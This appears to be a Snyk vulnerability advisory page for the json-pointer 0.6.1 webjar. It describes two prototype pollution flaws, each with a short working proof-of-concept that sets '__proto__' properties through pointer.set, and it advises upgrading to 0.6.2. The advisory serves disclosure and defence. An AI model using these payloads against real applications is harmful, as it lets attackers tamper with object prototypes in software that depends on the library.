org.webjars.npm:json-pointer@0.6.1 vulnerabilities

  • latest version

    0.6.2

  • latest non vulnerable version

  • first published

    7 years ago

  • latest version published

    2 years ago

  • licenses detected

  • package manager

  • Direct Vulnerabilities

    Known vulnerabilities in the org.webjars.npm:json-pointer package. This does not include vulnerabilities belonging to this package’s dependencies.

    How to fix?

    Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.

    Fix for free
    VulnerabilityVulnerable Version
    • M
    Prototype Pollution

    org.webjars.npm:json-pointer is a Some utilities for JSON pointers described by RFC 6901

    Affected versions of this package are vulnerable to Prototype Pollution. A type confusion vulnerability can lead to a bypass of CVE-2020-7709 when the pointer components are arrays.

    PoC

    const pointer = require('json-pointer');
    
    // pointer.set({}, ['__proto__', 'polluted'], 'yes')
    // console.log(polluted) // ReferenceError: polluted is not defined
    
    pointer.set({}, [['__proto__'], 'polluted'], 'yes')
    console.log(polluted)"
    

    How to fix Prototype Pollution?

    Upgrade org.webjars.npm:json-pointer to version 0.6.2 or higher.

    [0,0.6.2)
    • M
    Prototype Pollution

    org.webjars.npm:json-pointer is a Some utilities for JSON pointers described by RFC 6901

    Affected versions of this package are vulnerable to Prototype Pollution. Multiple reference of object using slash is supported.

    PoC

    var pointer = require('json-pointer');
    
    var obj = {};
    pointer.set(obj, '/__proto__/polluted', true);
    
    console.log(polluted); // true
    

    How to fix Prototype Pollution?

    Upgrade org.webjars.npm:json-pointer to version 0.6.2 or higher.

    [,0.6.2)